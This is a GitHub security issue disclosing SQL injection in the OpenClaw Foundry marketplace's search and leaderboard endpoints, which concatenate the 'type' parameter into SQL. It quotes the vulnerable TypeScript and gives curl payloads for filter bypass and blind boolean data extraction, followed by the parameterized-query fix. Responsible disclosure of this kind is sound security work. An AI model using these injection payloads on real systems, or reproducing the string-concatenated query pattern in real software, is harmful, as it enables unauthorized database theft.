Skip to content

[SECURITY] SQL injection in marketplace search and leaderboard via type query parameter #6

@aliceQWAS

Description

@aliceQWAS

Description

The type query parameter in /skills/search and /abilities/leaderboard is interpolated directly into SQL queries via string concatenation, without parameterization.

In server/src/routes/search.ts:28-30:

const typeFilter = abilityType
  ? `AND (s.ability_type = '${abilityType}' OR (s.ability_type IS NULL AND '${abilityType}' = 'skill'))`
  : "";

The same pattern repeats in the leaderboard endpoint at search.ts:122-124. The resulting typeFilter string is concatenated into SQL queries at lines 43, 52, 66, 81, 86, and 128 — at least 6 injection sites total.

An unauthenticated attacker can exploit this to:

  • Bypass query filters and extract all records
  • Enumerate database tables (skills, downloads, creator_earnings, ability_payers)
  • Extract full skill source code, creator wallet addresses, earnings data, and payment signatures via blind boolean-based extraction
  • Read arbitrary SQLite database contents

No authentication is required. The marketplace API is public.

Steps to reproduce

  1. Start the marketplace server:

    cd server && bun run src/index.ts
  2. Boolean-based injection to bypass the type filter:

    curl -s --get 'http://localhost:4402/skills/search' \
      --data-urlencode "type=skill' OR '1'='1"

    Observe: all skills are returned regardless of type (type filter bypassed).

  3. Subquery injection to confirm table existence:

    curl -s --get 'http://localhost:4402/skills/search' \
      --data-urlencode "type=skill') OR (SELECT COUNT(*) FROM skills) > 0 --"

    Observe: returns results (true condition), confirming subquery execution.

  4. Blind boolean extraction of data:

    # Extract first character of skill_md from first row
    curl -s --get 'http://localhost:4402/skills/search' \
      --data-urlencode "type=skill') AND (SELECT unicode(substr(skill_md,1,1)) FROM skills LIMIT 1) = 35 AND ('1'='1"

    Observe: returns results when ASCII value matches (35 = #), zero results when it doesn't. Character-by-character extraction of any column value is possible.

  5. Confirm injection works on leaderboard endpoint:

    curl -s --get 'http://localhost:4402/abilities/leaderboard' \
      --data-urlencode "type=skill') OR 1=1 --"

    Observe: all abilities returned (type filter bypassed).

Expected behavior

The type parameter should be passed as a bind parameter in a prepared statement, never concatenated into SQL strings.

Version

OpenClaw Foundry v0.2.3 (commit ef58717)

Severity

Critical

The vulnerability is unauthenticated, requires no user interaction, and provides full read access to the entire SQLite database. All marketplace data (skill source code, creator wallets, payment records, earnings) can be extracted. The attack is trivial to execute with standard tools (curl).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions